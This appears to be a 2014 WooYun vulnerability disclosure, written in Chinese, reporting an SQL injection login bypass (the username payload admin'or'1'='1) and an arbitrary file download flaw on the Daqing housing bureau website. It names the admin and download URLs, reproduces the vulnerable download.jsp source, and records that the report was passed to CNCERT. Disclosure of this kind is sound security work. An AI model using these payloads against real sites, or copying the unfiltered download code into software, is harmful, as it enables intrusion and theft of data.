漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:
大庆市房管局数据库注入并且任意文件下载
漏洞状态:
已交由第三方合作机构(cncert国家互联网应急中心)处理
>
漏洞详情 披露状态:
2014-05-23: 细节已通知厂商并且等待厂商处理中 2014-05-28: 厂商已经确认,细节仅向厂商公开 2014-06-07: 细节向核心白帽子及相关领域专家公开 2014-06-17: 细节向普通白帽子公开 2014-06-27: 细节向实习白帽子公开 2014-07-07: 细节向公众公开
简要描述: 大庆市房管局任意文件下载,登录后台存在数据库注入,导致无需密码登录。
详细说明: 网站首页:http://www.dqfcj.com.cn/index.net.xml 后台地址:http://www.dqfcj.com.cn/maintainAction.do?method=init 登录用户名:admin'or'1'='1 登录密码:随便打 成功登录之 截图如下:
这个属于数据库注入,后台验证语句应该是经典的: select * from userTable where username='xxxx' and password='xxx'; 如果是的话改成如下语句能保你一时平安: selelct * from userTable where username='xxx'; if (password!='xxx')error! 下面再说一下任意文件下载的事情: 下载地址:http://www.dqfcj.com.cn/download.jsp?path=http://www.dqfcj.com.cn/download.jsp&fileName=download.jsp 通过这个地址我把download.jsp的源码下载下来了,源码如下:
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %> <%@ page import="java.util.*,java.lang.*,java.text.*,java.io.*,java.net.URL, com.house.util.PublicMethod,com.house.pojo.*" %> <% PublicMethod publicMethod = new PublicMethod(); String filepath = publicMethod.getString(request.getParameter("path")); String fileName = publicMethod.getString(request.getParameter("fileName")); URL url = new URL(filepath); fileName = new String(fileName.getBytes("ISO-8859-1"), "gb2312"); String rootName = request.getContextPath(); String dirName = request.getSession().getServletContext().getRealPath(url.getPath().replaceAll(rootName, "")); File file = new File(dirName); if (file!=null && file.exists() && file.isFile()){ long filelength = file.length(); InputStream inStream=new FileInputStream(dirName); //ÉèÖÃÊä³öµÄžñÊœ response.reset(); response.setContentType("application/octet-stream"); response.setContentLength((int)filelength); response.addHeader("Content-Disposition","attachment; filename=" + new String(fileName.getBytes("gb2312"),"iso8859-1")); //Ñ»·È¡³öÁ÷ÖеÄÊýŸÝ byte[] b = new byte[100]; int len; out.clear(); out = pageContext.pushBody(); OutputStream output=response.getOutputStream(); while((len=inStream.read(b))>0) output.write(b,0,len); output.flush(); inStream.close(); } %>
没有什么过滤啊,其它文件也是可以下载的,我就不一一下了。限制一下下载文件类型吧。
漏洞证明: 修复方案: 版权声明:转载请注明来源 new @乌云
>
漏洞回应 厂商回应: 危害等级:中
漏洞Rank:8
确认时间:2014-05-28 10:54
厂商回复: 已经转由CNCERT下发给黑龙江分中心处置。
最新状态: 暂无